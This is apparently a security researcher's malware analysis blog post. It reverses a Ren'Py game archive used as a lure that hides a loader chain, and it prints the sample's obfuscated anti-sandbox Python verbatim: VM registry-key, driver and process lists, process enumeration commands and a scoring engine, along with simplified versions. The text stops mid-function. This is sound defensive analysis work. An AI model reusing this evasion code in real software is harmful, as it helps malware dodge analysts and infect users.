D0pp3lgang3r
D0pp3lgang3r
WHOAMIARTICLESWRITEUPSCONTACT
← ARTICLES
malwarereverse-engineeringpythonwindowslumma-stealer

Anomaly Company — Reversing a Ren'Py-Wrapped Multi-Stage Malware

2026-06-07·46 min read

A Discord download link led to a Ren'Py game masking a full malware chain: sandbox evasion, bytecode obfuscation, IDAT Loader, and Lumma Stealer.

Discovery

It started with a simple download link dropped in a Discord server : Anomaly Company Build 03/02/2026 — try our new game ! what followed was anything but a game. The sample was shared by a colleague who stumbled upon it at its original distribution website, still up at the time of writing this article.

Initial Recon — The Archive Structure

My first step was to unzip the archive and get a feel about what we're dealing with. Here is what greeted me :

.
├── data
│   ├── 7ByXk3POijf8.Vd
│   ├── cache
│   │   ├── bytecode-39.rpyb
│   │   ├── py3analysis.rpyb
│   │   ├── screens.rpyb
│   │   └── shaders.txt
│   ├── gui
... (some images, skipped)
│   ├── libwin32.rpa
│   ├── python-packages
│   │   ├── libpython.rpmc
│   │   └── sys_config
│   │       ├── access_internet.py
│   │       ├── __init__.py
│   │       ├── sys_check.py
│   │       ├── sys_file.py
│   │       └── sys_spec.py
│   └── script_version.txt
├── lib
│   ├── py3-windows-x86_64
│   │   ├── d3dcompiler_47.dll
│   │   ├── libEGL.dll
│   │   ├── libGLESv2.dll
│   │   ├── libpython3.9.dll
│   │   ├── librenpython.dll
│   │   ├── libwinpthread-1.dll
│   │   ├── nvdrs.dll
│   │   ├── python.exe
│   │   └── pythonw.exe
│   ├── python3.9
│   │   ├── abc.pyc
... (full of Python bytecode for the imports)
├── renpy
│   ├── add_from.py
... (all Ren'Py project files)
│   └── webloader.py
├── Setup
└── setup.py

The Ren'Py project is available here : https://github.com/renpy/renpy, after checking the files in the renpy folder, none of them had been modified. This leaves us with three points of interest : the data/ and lib/ folders and the PE binary Setup.

Stage 0 — The PE Launcher

Let's start with the binary. Opening it in IDA reveals a function which is launching another function from a DLL. Here is the decompiled code :

c
__int64 __fastcall sub_140001480(unsigned int a1, const wchar_t **a2) { unsigned int v4; // ebx ULONGLONG v5; // rax ULONGLONG v6; // rax ULONGLONG v7; // rax wchar_t *v8; // rbx size_t v9; // rax int v10; // edx HMODULE LibraryW; // rax FARPROC ProcAddress; // rax struct _OSVERSIONINFOEXW v14[28]; // [rsp+30h] [rbp-2028h] BYREF v4 = 0; memset(&v14[0].dwBuildNumber, 0, 0x110uLL); *(_QWORD *)&v14[0].dwOSVersionInfoSize = 0x60000011CLL; v14[0].dwMinorVersion = 0; v5 = VerSetConditionMask(0LL, 2u, 3u); v6 = VerSetConditionMask(v5, 1u, 3u); v7 = VerSetConditionMask(v6, 0x20u, 3u); if ( VerifyVersionInfoW(v14, 0x23u, v7) ) { v8 = wcsdup(*a2); v9 = 2 * wcslen(v8) - 2; while ( v9 ) { v10 = *(wchar_t *)((char *)v8 + v9); v9 -= 2LL; if ( v10 == 92 || v10 == 47 ) { *(wchar_t *)((char *)v8 + v9 + 2) = 0; break; } } sub_1400015E0((wchar_t *)v14); SetDllDirectoryW((LPCWSTR)v14); LibraryW = LoadLibraryW(L"librenpython.dll"); ProcAddress = GetProcAddress(LibraryW, "launcher_main_wide"); return ((unsigned int (__fastcall *)(_QWORD, const wchar_t **))ProcAddress)(a1, a2); } else { MessageBoxW(0LL, "T", L"Version Not Supported", 0); } return v4; }

As we can see, the Setup binary loads librenpython.dll and calls its exported function launcher_main_wide, standard behaviour for any Ren'Py game. This function initializes the embedded Python interpreter and executes setup.py.

The first interesting function in setup.py is path_to_gamedir() :

python
candidates.extend([ 'game', 'data', 'launcher/game' ]) for i in candidates: gamedir = os.path.join(basedir, i) if os.path.isdir(gamedir): break

Ren'Py scans for a game directory by trying a hardcoded list of names in order : game/, then data/, then launcher/game/. Since there is no game/ folder here, Ren'Py automatically falls back to data/, which is exactly where the attacker placed all the malicious files. A deliberate choice : data/ looks far less suspicious than game/ to a casual observer.

Ren'Py's Import Hook Hijacking

Once the game directory is resolved, setup.py's main() hands control to the Ren'Py engine :

python
renpy.__main__ = sys.modules[__name__] renpy.bootstrap.bootstrap(renpy_base)

Inside bootstrap.py, the engine initializes its import system :

python
renpy.import_all() renpy.loader.init_importer()

And this is the key call. init_importer() inserts a custom Python importer into sys.meta_path, Python's global import hook list :

python
def init_importer(): meta_backup[:] = sys.meta_path add_python_directory("python-packages/") add_python_directory("")

From this point on, any import statement in the game scripts will first be resolved against data/python-packages/, which is where the attacker placed sys_config/, his anti-sandbox module. No explicit call, no obvious hook : the malicious import is made possible by Ren'Py's own legitimate loading mechanism.

The Anti-Sandbox Module: sys_config

Files in sys_config are pretty much obfuscated, but we can easily understand what they are used for.

access_internet.py — Connectivity Stubs

python
# G0KCq6DVkpPqtNIR3KQpdAzEKb2peHdvOK6wNFwT0dgKSSEsbMBxNAsbv3hOYcXm import os class InternetAccess: @staticmethod def check_basic_ping(amount=4, host='google.com'): return 5, "".join([chr(73),chr(110),chr(116),chr(101),chr(114),chr(110),chr(101),chr(116),chr(32),chr(99),chr(104),chr(101),chr(99),chr(107),chr(115),chr(32),chr(100),chr(105),chr(115),chr(97),chr(98),chr(108),chr(101),chr(100),chr(46)]), None @staticmethod def check_download_file(): return 5, "".join([chr(73),chr(110),chr(116),chr(101),chr(114),chr(110),chr(101),chr(116),chr(32),chr(99),chr(104),chr(101),chr(99),chr(107),chr(115),chr(32),chr(100),chr(105),chr(115),chr(97),chr(98),chr(108),chr(101),chr(100),chr(46)]), None @staticmethod def check_http_post(): return 5, "".join([chr(73),chr(110),chr(116),chr(101),chr(114),chr(110),chr(101),chr(116),chr(32),chr(99),chr(104),chr(101),chr(99),chr(107),chr(115),chr(32),chr(100),chr(105),chr(115),chr(97),chr(98),chr(108),chr(101),chr(100),chr(46)]), None @staticmethod def check_sockdnsreq(): return 5, bytes([73,110,116,101,114,110,101,116,32,99,104,101,99,107,115,32,100,105,115,97,98,108,101,100,46]).decode("utf-8"), None # The string is always the same : 'Internet checks disabled.'

As the class name states, it simply checks that we got access to internet probably used before exfiltrating victim's data.

__init__.py — Module Entry Point

python
import requests import json import base64 _m = base64.b64decode("".join([chr(99),chr(51),chr(108),chr(122),chr(88),chr(50),chr(78),chr(118),chr(98),chr(109),chr(90),chr(112),chr(90),chr(121),chr(53),chr(122),chr(101),chr(88),chr(78),chr(102),chr(89),chr(50),chr(104),chr(108),chr(89),chr(50),chr(115),chr(61)])).decode() _c = base64.b64decode(bytes([85,51,108,122,89,109,57,52]).decode("utf-8")).decode() _mod = __import__(_m, fromlist=[_c]) _Kx9p = getattr(_mod, _c) def _x7k2p9q(logging=True): p55xzvkmws9n_0 = _Kx9p(logging=logging) _r = getattr(p55xzvkmws9n_0, base64.b64decode("".join([chr(97),chr(88),chr(78),chr(102),chr(99),chr(50),chr(70),chr(117),chr(90),chr(71),chr(74),chr(118),chr(101),chr(71),chr(86),chr(107)])).decode())() return _r _func_name = base64.b64decode("".join([chr(97),chr(88),chr(78),chr(102),chr(99),chr(50),chr(70),chr(117),chr(90),chr(71),chr(74),chr(118),chr(101),chr(71),chr(86),chr(107)])).decode() globals()[_func_name] = _x7k2p9q __all__ = [_func_name]

Which I simplified as :

python
import requests import json import base64 _m = 'sys_config.sys_check' _c = 'Sysbox' _mod = __import__(_m, fromlist=[_c]) Sysbox = getattr(_mod, _c) def debug(logging=True): var = Sysbox(logging=logging) _r = getattr(var, "is_sandboxed")() return _r _func_name = "is_sandboxed" globals()[_func_name] = debug __all__ = [_func_name]

In python the __init__.py file will simply tell to the renpy program once sys_config imported to execute the is_sandboxed function from sys_check.py file.

sys_check.py — The Scoring Engine (Sysbox)

Here is the content of this file :

python
# kh6BSjTbAUqkqn5CvWiVNK0GdMivRay7ElhPwA6JSZ4thR354iFLiPrfhnGfwyMj from sys_config.sys_file import FileSystem from sys_config.access_internet import * from sys_config.sys_spec import * import time, os class Sysbox: def __init__(self, logging=False): self.logging = logging return def _normalize(self, values): zy00mnmjc_ = values.count(0) if zy00mnmjc_ > 0: return 0 # 100% certainty e1qba5o_b = 0 r9y4e5wlj = 0 if type(38) == str: taev_k = 720 for fojw4ctudskez in values: if fojw4ctudskez == 5: vyejt1dut = 2.0 elif fojw4ctudskez >= 3: vyejt1dut = 1.5 else: vyejt1dut = 1.0 r9y4e5wlj += fojw4ctudskez * vyejt1dut e1qba5o_b += vyejt1dut mly0pkxzv = r9y4e5wlj / e1qba5o_b z3nyoz_d14 = sum(1 for x in values if x <= 2) if z3nyoz_d14 >= 3: # uZYaZRk4p mly0pkxzv = max(0, mly0pkxzv - 2) # Major penalty elif z3nyoz_d14 >= 2: mly0pkxzv = max(1, mly0pkxzv - 1) # Moderate penalty elif z3nyoz_d14 == 1: mly0pkxzv = max(2, mly0pkxzv - 0.5) # Minor penalty return mly0pkxzv def is_sandboxed(self): lfj1c_c6_tv = self._check_specs() ykq21z6ehuazz2 = lfj1c_c6_tv qvdk826kp94 = int(100 - ((ykq21z6ehuazz2 / 5) * 100)) if self.logging: # DS64pkhJ self._printout(10, f"Conclusion: {qvdk826kp94}% chance of being in a virtual environment.\n") return qvdk826kp94 / 100 def _check_file_system(self): try: if self.logging: self._printout(10, bytes([70,73,76,69,83,89,83,84,69,77]).decode("utf-8")) fuk2xgpo8, etaqicn03ud_1, hu8nrxtnql32b = FileSystem.check_vm_registry_keys() # VVpgGgw8aMqcSRKQl1l y_5tjf023wl, wgw97fha, j9xxdl31qd3st = FileSystem.check_vm_files() fiakpjfedws, staq5r6wugbb, tl30s0kjuz9 = FileSystem.check_vm_processes() k5w46p7c5w7, nav93cf5o79j6f, p5d3rhd6 = FileSystem.check_prev_logins() if self.logging: self._printout(score=fuk2xgpo8, description=etaqicn03ud_1, extra=hu8nrxtnql32b) self._printout(y_5tjf023wl, wgw97fha, j9xxdl31qd3st) jogwve8_ = [32, 42] self._printout(fiakpjfedws, staq5r6wugbb, tl30s0kjuz9) i27rp196f5 = (38, 32, 34, 64) self._printout(k5w46p7c5w7, nav93cf5o79j6f, p5d3rhd6) return self._normalize([fiakpjfedws, k5w46p7c5w7]) except Exception as e: if self.logging: self._printout(5, bytes([70,73,76,69,83,89,83,84,69,77,32,99,104,101,99,107,115,32,112,97,114,116,105,97,108,108,121,32,115,107,105,112,112,101,100,32,100,117,101,32,116,111,32,97,99,99,101,115,115,32,114,101,115,116,114,105,99,116,105,111,110,115,46]).decode("utf-8")) return 5 # Give benefit of doubt on errors def _check_specs(self): if self.logging: self._printout(10, bytes([83,80,69,67,83,32,79,70,32,84,72,69,32,83,89,83,84,69,77]).decode("utf-8")) bw1h5hig3uzh, itpkezvsp, dub9zytc0spr__ = Specs.check_hard_drive() ucpp1z0coej, icr4vfpf, ky7z_422mboe = Specs.check_ram_space() qypfmhtt88tm, qnmxogihud4, ek50ulnld = Specs.check_cpu_cores() o086dtlt4kpltc, wiwd7g4i9k4v, p6jckrzu85m3o = Specs.check_model() t9gq0yehmr6, dcbz8vgkf88, t501ejklam4k = Specs.check_manufacturer() return self._normalize([o086dtlt4kpltc, t9gq0yehmr6]) def _printout(self, score, description, extra=None): # I3AbMoEcetY if os.name == "".join([chr(110),chr(116)]): os.system(bytes([99,111,108,111,114]).decode("utf-8")) _CLEAR = '\033[0m' _BOLD = '\033[1m' _RED = '\033[91m' _ORANGE = '\033[33m' # eU9rp8lyn7Q89 _LIME = '\033[92m' j4mus_5fkz = True _ITALIC = '\033[3m' _UNDERLINED = '\033[4m' _YELLOW = '\033[93m' if score == 10: import shutil m7z_dly3 = shutil.get_terminal_size((80, 20)).columns cflhsvz0t = (m7z_dly3 - len(description)) if cflhsvz0t % 2 == 0: e7guyvyxqt_0l = int(cflhsvz0t / 2) scukcl4p = int(e7guyvyxqt_0l) if 1 > 62: i4dbue = 1976 else: e7guyvyxqt_0l = int((cflhsvz0t-1) / 2) scukcl4p = int(e7guyvyxqt_0l + 1) gtamcijt7yr5 = f'{_BOLD}{_ITALIC}{_UNDERLINED}{_YELLOW}' + e7guyvyxqt_0l * bytes([32]).decode("utf-8") yd3r25g1 = scukcl4p * bytes([32]).decode("utf-8") + f'{_CLEAR}' description = f'{gtamcijt7yr5}{description}{yd3r25g1}' jf4zq90fod = False if score == 5: description = f'{_BOLD}{_LIME}[+++++] {description}{_CLEAR}' elif score == 4: description = f'{_BOLD}{_LIME}[++++-] {description}{_CLEAR}' if 503 == 1226: g1e66 = 1936 elif score == 3: description = f'{_BOLD}{_ORANGE}[+++--] {description}{_CLEAR}' elif score == 2: description = f'{_BOLD}{_ORANGE}[++---] {description}{_CLEAR}' elif score == 1: description = f'{_BOLD}{_RED}[+----] {description}{_CLEAR}' elif score == 0: description = f'{_BOLD}{_RED}[-----] {description}{_CLEAR}' print() # tYqAEvAXhv5d print(description) time.sleep(0.2) if extra: print(f"-> {extra}") time.sleep(1) time.sleep(1.5)

I simplified the code for better understanding :

python
from sys_config.sys_file import FileSystem from sys_config.access_internet import * from sys_config.sys_spec import * import time, os class Sysbox: def __init__(self, logging=False): self.logging = logging def _normalize(self, values): comp = values.count(0) if comp > 0: return 0 # 100% certainty sandbox i = 0 j = 0 for val in values: if val == 5: weight = 2.0 elif val >= 3: weight = 1.5 else: weight = 1.0 j += val * weight i += weight pond = j / i total = sum(1 for x in values if x <= 2) if total >= 3: pond = max(0, pond - 2) # Major penalty elif total >= 2: pond = max(1, pond - 1) # Moderate penalty elif total == 1: pond = max(2, pond - 0.5) # Minor penalty return pond def is_sandboxed(self): checker_specs = self._check_specs() probability = int(100 - ((checker_specs / 5) * 100)) if self.logging: self._printout(10, f"Conclusion: {probability}% chance of being in a virtual environment.\n") return probability / 100 def _check_file_system(self): try: score1, description1, extra1 = FileSystem.check_vm_registry_keys() score2, description2, extra2 = FileSystem.check_vm_files() score3, description3, extra3 = FileSystem.check_vm_processes() score4, description4, extra4 = FileSystem.check_prev_logins() return self._normalize([score3, score4]) except Exception as e: return 5 def _check_specs(self): score5, description5, extra5 = Specs.check_hard_drive() score6, description6, extra6 = Specs.check_ram_space() score7, description7, extra7 = Specs.check_cpu_cores() score8, description8, extra8 = Specs.check_model() score9, description9, extra9 = Specs.check_manufacturer() return self._normalize([score8, score9])

It is the Sysbox class we saw before, it is used to log the probability to be in a vm for the malware, sysbox class is regrouping all the scores of the different checks and use a ponderation scoring algorithm function : _normalize, to say with a probability X if the malware is in a VM or not, of course it prints the results and details for debug in a custom terminal. Certainly this scoring algorithm will tell if the malware has to execute or not, if the total score exceeds 3, the malware will execute, otherwise it will not. Additionally if any of the tests described below returns a score of 0, the malware will not run at all.

sys_file.py — Filesystem & Registry Detection

python
# N2l1VtAq3lZKWyo0i9QPBJNlmQs0qu9K0t4Xjw7OhfGS4DmcMerUAbtVOcTPlUIX import os import subprocess import time if os.name == (chr(110)+chr(116)): import winreg class FileSystem: _KEYS = [ r"SOFTWARE\Oracle\VirtualBox Guest Additions", r"HARDWARE\ACPI\DSDT\VBOX__", r"HARDWARE\ACPI\FADT\VBOX__", r"HARDWARE\ACPI\RSDT\VBOX__", r"SYSTEM\ControlSet001\Services\VBoxGuest", r"SYSTEM\ControlSet001\Services\VBoxMouse", r"SYSTEM\ControlSet001\Services\VBoxService", r"SYSTEM\ControlSet001\Services\VBoxSF", r"SYSTEM\ControlSet001\Services\VBoxVideo", # YxiVZHts3FYOFy r"SOFTWARE\VMware, Inc.\VMware Tools", ] _FILES = [ r"C:\WINDOWS\system32\drivers\VBoxMouse.sys", r"C:\WINDOWS\system32\drivers\VBoxGuest.sys", r"C:\WINDOWS\system32\drivers\VBoxSF.sys", r"C:\WINDOWS\system32\drivers\VBoxVideo.sys", # bNcHmEEpjk2U2e r"C:\WINDOWS\system32\vboxdisp.dll", r"C:\WINDOWS\system32\vboxhook.dll", r"C:\WINDOWS\system32\vboxmrxnp.dll", r"C:\WINDOWS\system32\vboxogl.dll", r"C:\WINDOWS\system32\vboxoglarrayspu.dll", r"C:\WINDOWS\system32\vboxoglcrutil.dll", r"C:\WINDOWS\system32\vboxoglerrorspu.dll", r"C:\WINDOWS\system32\vboxoglfeedbackspu.dll", r"C:\WINDOWS\system32\vboxoglpackspu.dll", r"C:\WINDOWS\system32\vboxoglpassthroughspu.dll", r"C:\WINDOWS\system32\vboxservice.exe", r"C:\WINDOWS\system32\vboxtray.exe", r"C:\WINDOWS\system32\VBoxControl.exe", r"C:\WINDOWS\system32\drivers\vmmouse.sys", r"C:\WINDOWS\system32\drivers\vmhgfs.sys", r"C:\WINDOWS\system32\drivers\vmusbmouse.sys", r"C:\WINDOWS\system32\drivers\vmkdb.sys", r"C:\WINDOWS\system32\drivers\vmrawdsk.sys", r"C:\WINDOWS\system32\drivers\vmmemctl.sys", r"C:\WINDOWS\system32\drivers\vm3dmp.sys", r"C:\WINDOWS\system32\drivers\vmci.sys", # BtqBLY73ZGOK9nM r"C:\WINDOWS\system32\drivers\vmsci.sys", r"C:\WINDOWS\system32\drivers\vmx_svga.sys" ] _PROCESSES = [ "".join([chr(118),chr(98),chr(111),chr(120),chr(115),chr(101),chr(114),chr(118),chr(105),chr(99),chr(101),chr(115),chr(46),chr(101),chr(120),chr(101)]), "".join([chr(118),chr(98),chr(111),chr(120),chr(115),chr(101),chr(114),chr(118),chr(105),chr(99),chr(101),chr(46),chr(101),chr(120),chr(101)]), bytes([118,98,111,120,116,114,97,121,46,101,120,101]).decode("utf-8"), (chr(120)+chr(101)+chr(110)+chr(115)+chr(101)+chr(114)+chr(118)+chr(105)+chr(99)+chr(101)+chr(46)+chr(101)+chr(120)+chr(101)), bytes([86,77,83,114,118,99,46,101,120,101]).decode("utf-8"), # 3SksSkFHXKQ2Eiw6 bytes([118,101,109,117,115,114,118,99,46,101,120,101]).decode("utf-8"), "".join([chr(86),chr(77),chr(85),chr(83),chr(114),chr(118),chr(99),chr(46),chr(101),chr(120),chr(101)]), (chr(113)+chr(101)+chr(109)+chr(117)+chr(45)+chr(103)+chr(97)+chr(46)+chr(101)+chr(120)+chr(101)), bytes([112,114,108,95,99,99,46,101,120,101]).decode("utf-8"), "".join([chr(112),chr(114),chr(108),chr(95),chr(116),chr(111),chr(111),chr(108),chr(115),chr(46),chr(101),chr(120),chr(101)]), (chr(118)+chr(109)+chr(116)+chr(111)+chr(111)+chr(108)+chr(115)+chr(100)+chr(46)+chr(101)+chr(120)+chr(101)), # eiGcea3zMYGtPp1MMkd bytes([100,102,53,115,101,114,118,46,101,120,101]).decode("utf-8"), ] @staticmethod def check_vm_registry_keys(): # robokeUdo if os.name != bytes([110,116]).decode("utf-8"): return 5, bytes([86,77,32,82,69,71,73,83,84,82,89,32,75,69,89,83,32,97,114,101,32,78,111,110,101,46]).decode("utf-8"), (chr(84)+chr(104)+chr(105)+chr(115)+chr(32)+chr(116)+chr(101)+chr(115)+chr(116)+chr(32)+chr(99)+chr(97)+chr(110)+chr(32)+chr(111)+chr(110)+chr(108)+chr(121)+chr(32)+chr(98)+chr(101)+chr(32)+chr(114)+chr(117)+chr(110)+chr(32)+chr(111)+chr(110)+chr(32)+chr(87)+chr(105)+chr(110)+chr(100)+chr(111)+chr(119)+chr(115)+chr(46)+chr(32)+chr(67)+chr(111)+chr(110)+chr(115)+chr(105)+chr(100)+chr(101)+chr(114)+chr(105)+chr(110)+chr(103)+chr(32)+chr(116)+chr(104)+chr(105)+chr(115)+chr(32)+chr(116)+chr(101)+chr(115)+chr(116)+chr(32)+chr(115)+chr(117)+chr(99)+chr(99)+chr(101)+chr(115)+chr(115)+chr(102)+chr(117)+chr(108)+chr(46)) # YkEzVNavFP2d1Rd vr4pizx3 = 5 if type(75) == str: # zLGJrQlLchbJusPbu uy46ef0 = 8751 lpi1u3j87 = f"REGISTRY KEYS will look for VM related keys." e4v2hgy3 = None try: wk1saehy0gwd1h = winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE) for cdc8ljnunhk0 in FileSystem._KEYS: try: winreg.OpenKey(wk1saehy0gwd1h, cdc8ljnunhk0) zks0jdy = [28] vr4pizx3 = 2 e4v2hgy3 = f"Found VM-related registry key: {cdc8ljnunhk0}" except WindowsError as e: if e.winerror == 5: continue elif e.winerror == 2: continue if 749 == 8422: wixd5bhp = 2785 else: continue except Exception as e: vr4pizx3 = 5 e4v2hgy3 = bytes([67,111,117,108,100,32,110,111,116,32,97,99,99,101,115,115,32,114,101,103,105,115,116,114,121]).decode("utf-8") return vr4pizx3, lpi1u3j87, e4v2hgy3 @staticmethod def check_vm_files(): if os.name != (chr(110)+chr(116)): return 5, "".join([chr(86),chr(77),chr(32),chr(82),chr(69),chr(76),chr(65),chr(84),chr(69),chr(68),chr(32),chr(70),chr(73),chr(76),chr(69),chr(83),chr(32),chr(97),chr(114),chr(101),chr(32),chr(78),chr(111),chr(110),chr(101),chr(46)]), bytes([84,104,105,115,32,116,101,115,116,32,99,97,110,32,111,110,108,121,32,98,101,32,114,117,110,32,111,110,32,87,105,110,100,111,119,115,46,32,67,111,110,115,105,100,101,114,105,110,103,32,116,104,105,115,32,116,101,115,116,32,115,117,99,99,101,115,115,102,117,108,46]).decode("utf-8") qnrkan88 = 5 i_rd4d7c = f"FILES will look for VM related files." d22grskg3_y8v5 = None for oticlmx5q4w0 in FileSystem._FILES: if os.path.exists(oticlmx5q4w0): qnrkan88 = min(qnrkan88, 2) # Reduce qnrkan88 but don't set to 0 if d22grskg3_y8v5: d22grskg3_y8v5 += f"\nFound VM-related file: {oticlmx5q4w0}" else: d22grskg3_y8v5 = f"Found VM-related file: {oticlmx5q4w0}" # jfQ5JW1foOCerrEbSJ j2g7oxm66k = (19, 40) return qnrkan88, i_rd4d7c, d22grskg3_y8v5 @staticmethod def check_vm_processes(): if os.name != (chr(110)+chr(116)): return 5, "".join([chr(86),chr(77),chr(32),chr(82),chr(69),chr(76),chr(65),chr(84),chr(69),chr(68),chr(32),chr(80),chr(82),chr(79),chr(67),chr(69),chr(83),chr(83),chr(69),chr(83),chr(32),chr(97),chr(114),chr(101),chr(32),chr(78),chr(111),chr(110),chr(101),chr(46)]), (chr(84)+chr(104)+chr(105)+chr(115)+chr(32)+chr(116)+chr(101)+chr(115)+chr(116)+chr(32)+chr(99)+chr(97)+chr(110)+chr(32)+chr(111)+chr(110)+chr(108)+chr(121)+chr(32)+chr(98)+chr(101)+chr(32)+chr(114)+chr(117)+chr(110)+chr(32)+chr(111)+chr(110)+chr(32)+chr(87)+chr(105)+chr(110)+chr(100)+chr(111)+chr(119)+chr(115)+chr(46)+chr(32)+chr(67)+chr(111)+chr(110)+chr(115)+chr(105)+chr(100)+chr(101)+chr(114)+chr(105)+chr(110)+chr(103)+chr(32)+chr(116)+chr(104)+chr(105)+chr(115)+chr(32)+chr(116)+chr(101)+chr(115)+chr(116)+chr(32)+chr(115)+chr(117)+chr(99)+chr(99)+chr(101)+chr(115)+chr(115)+chr(102)+chr(117)+chr(108)+chr(46)) knkwcwdoiosmv = 5 br3bdwz4h = 40063 ejptk1pa_z = f"PROCESSES will look for VM related processes." qqbc9fvga4oq = None try: lji_sscee2f = "" ezet7p = "craWDghwoF" try: lji_sscee2f = subprocess.check_output("".join([chr(112),chr(111),chr(119),chr(101),chr(114),chr(115),chr(104),chr(101),chr(108),chr(108),chr(32),chr(34),chr(71),chr(101),chr(116),chr(45),chr(80),chr(114),chr(111),chr(99),chr(101),chr(115),chr(115),chr(32),chr(124),chr(32),chr(83),chr(101),chr(108),chr(101),chr(99),chr(116),chr(45),chr(79),chr(98),chr(106),chr(101),chr(99),chr(116),chr(32),chr(80),chr(114),chr(111),chr(99),chr(101),chr(115),chr(115),chr(78),chr(97),chr(109),chr(101),chr(34)]), shell=True).decode() except: try: lji_sscee2f = subprocess.check_output((chr(119)+chr(109)+chr(105)+chr(99)+chr(32)+chr(112)+chr(114)+chr(111)+chr(99)+chr(101)+chr(115)+chr(115)+chr(32)+chr(103)+chr(101)+chr(116)+chr(32)+chr(110)+chr(97)+chr(109)+chr(101)), shell=True).decode() except: try: # QtPWAORJXDQJi7 lji_sscee2f = subprocess.check_output("".join([chr(116),chr(97),chr(115),chr(107),chr(108),chr(105),chr(115),chr(116)]), shell=True).decode() except: knkwcwdoiosmv = 5 qqbc9fvga4oq = "".join([chr(80),chr(114),chr(111),chr(99),chr(101),chr(115),chr(115),chr(32),chr(99),chr(104),chr(101),chr(99),chr(107),chr(32),chr(115),chr(107),chr(105),chr(112),chr(112),chr(101),chr(100),chr(32),chr(45),chr(32),chr(99),chr(111),chr(117),chr(108),chr(100),chr(32),chr(110),chr(111),chr(116),chr(32),chr(97),chr(99),chr(99),chr(101),chr(115),chr(115),chr(32),chr(112),chr(114),chr(111),chr(99),chr(101),chr(115),chr(115),chr(32),chr(108),chr(105),chr(115),chr(116)]) return knkwcwdoiosmv, ejptk1pa_z, qqbc9fvga4oq lji_sscee2f = lji_sscee2f.lower() for hb6uejva in FileSystem._PROCESSES: if hb6uejva.lower() in lji_sscee2f: knkwcwdoiosmv = min(knkwcwdoiosmv, 2) if qqbc9fvga4oq: qqbc9fvga4oq += f"\nFound VM-related process: {hb6uejva}" else: qqbc9fvga4oq = f"Found VM-related process: {hb6uejva}" except Exception as e: knkwcwdoiosmv = 5 qqbc9fvga4oq = (chr(80)+chr(114)+chr(111)+chr(99)+chr(101)+chr(115)+chr(115)+chr(32)+chr(99)+chr(104)+chr(101)+chr(99)+chr(107)+chr(32)+chr(115)+chr(107)+chr(105)+chr(112)+chr(112)+chr(101)+chr(100)+chr(32)+chr(100)+chr(117)+chr(101)+chr(32)+chr(116)+chr(111)+chr(32)+chr(97)+chr(99)+chr(99)+chr(101)+chr(115)+chr(115)+chr(32)+chr(114)+chr(101)+chr(115)+chr(116)+chr(114)+chr(105)+chr(99)+chr(116)+chr(105)+chr(111)+chr(110)+chr(115)+chr(46)) return knkwcwdoiosmv, ejptk1pa_z, qqbc9fvga4oq @staticmethod def check_wifi_connections(): return 5, (chr(87)+chr(73)+chr(70)+chr(73)+chr(32)+chr(99)+chr(104)+chr(101)+chr(99)+chr(107)+chr(32)+chr(100)+chr(105)+chr(115)+chr(97)+chr(98)+chr(108)+chr(101)+chr(100)+chr(46)), None @staticmethod def check_application_files(): return 5, bytes([65,112,112,108,105,99,97,116,105,111,110,32,102,105,108,101,115,32,99,104,101,99,107,32,100,105,115,97,98,108,101,100,46]).decode("utf-8"), None @staticmethod def check_prev_logins(): if os.name != (chr(110)+chr(116)): return 5, bytes([80,82,69,86,32,76,79,71,73,78,83,32,97,114,101,32,78,111,110,101,46]).decode("utf-8"), (chr(84)+chr(104)+chr(105)+chr(115)+chr(32)+chr(116)+chr(101)+chr(115)+chr(116)+chr(32)+chr(99)+chr(97)+chr(110)+chr(32)+chr(111)+chr(110)+chr(108)+chr(121)+chr(32)+chr(98)+chr(101)+chr(32)+chr(114)+chr(117)+chr(110)+chr(32)+chr(111)+chr(110)+chr(32)+chr(87)+chr(105)+chr(110)+chr(100)+chr(111)+chr(119)+chr(115)+chr(46)+chr(32)+chr(67)+chr(111)+chr(110)+chr(115)+chr(105)+chr(100)+chr(101)+chr(114)+chr(105)+chr(110)+chr(103)+chr(32)+chr(116)+chr(104)+chr(105)+chr(115)+chr(32)+chr(116)+chr(101)+chr(115)+chr(116)+chr(32)+chr(115)+chr(117)+chr(99)+chr(99)+chr(101)+chr(115)+chr(115)+chr(102)+chr(117)+chr(108)+chr(46)) try: o1n7titods = os.getenv((chr(85)+chr(83)+chr(69)+chr(82)+chr(78)+chr(65)+chr(77)+chr(69))) h8ykwah670dykt = os.path.join(os.environ[bytes([83,121,115,116,101,109,68,114,105,118,101]).decode("utf-8")] + '\\', bytes([85,115,101,114,115]).decode("utf-8")) if not os.path.exists(h8ykwah670dykt): uuhxcn7g0lw2fy = 5 return uuhxcn7g0lw2fy, bytes([80,82,69,86,32,76,79,71,73,78,83,32,99,104,101,99,107,32,115,107,105,112,112,101,100,46]).decode("utf-8"), "".join([chr(67),chr(111),chr(117),chr(108),chr(100),chr(32),chr(110),chr(111),chr(116),chr(32),chr(97),chr(99),chr(99),chr(101),chr(115),chr(115),chr(32),chr(85),chr(115),chr(101),chr(114),chr(115),chr(32),chr(100),chr(105),chr(114),chr(101),chr(99),chr(116),chr(111),chr(114),chr(121),chr(46)]) om7aj114_f_wnp = [] try: om7aj114_f_wnp = [d for d in os.listdir(h8ykwah670dykt) if os.path.isdir(os.path.join(h8ykwah670dykt, d)) and d.lower() not in ["".join([chr(112),chr(117),chr(98),chr(108),chr(105),chr(99)]), "".join([chr(100),chr(101),chr(102),chr(97),chr(117),chr(108),chr(116)]), (chr(100)+chr(101)+chr(102)+chr(97)+chr(117)+chr(108)+chr(116)+chr(32)+chr(117)+chr(115)+chr(101)+chr(114)), (chr(97)+chr(108)+chr(108)+chr(32)+chr(117)+chr(115)+chr(101)+chr(114)+chr(115)), (chr(100)+chr(101)+chr(102)+chr(97)+chr(117)+chr(108)+chr(116)+chr(97)+chr(112)+chr(112)+chr(112)+chr(111)+chr(111)+chr(108)), (chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109))] and not d.endswith("".join([chr(36)]))] except PermissionError: uuhxcn7g0lw2fy = 5 return uuhxcn7g0lw2fy, bytes([80,82,69,86,32,76,79,71,73,78,83,32,99,104,101,99,107,32,115,107,105,112,112,101,100,46]).decode("utf-8"), bytes([80,101,114,109,105,115,115,105,111,110,32,100,101,110,105,101,100,32,97,99,99,101,115,115,105,110,103,32,85,115,101,114,115,32,100,105,114,101,99,116,111,114,121,46]).decode("utf-8") eakbkpbav5k = 0 if len("mxtw") > 88: g0d0g = 7154 for vzh0oyekc4g8p in om7aj114_f_wnp: m8x0iamfyhl = os.path.join(h8ykwah670dykt, vzh0oyekc4g8p) if os.path.exists(m8x0iamfyhl): 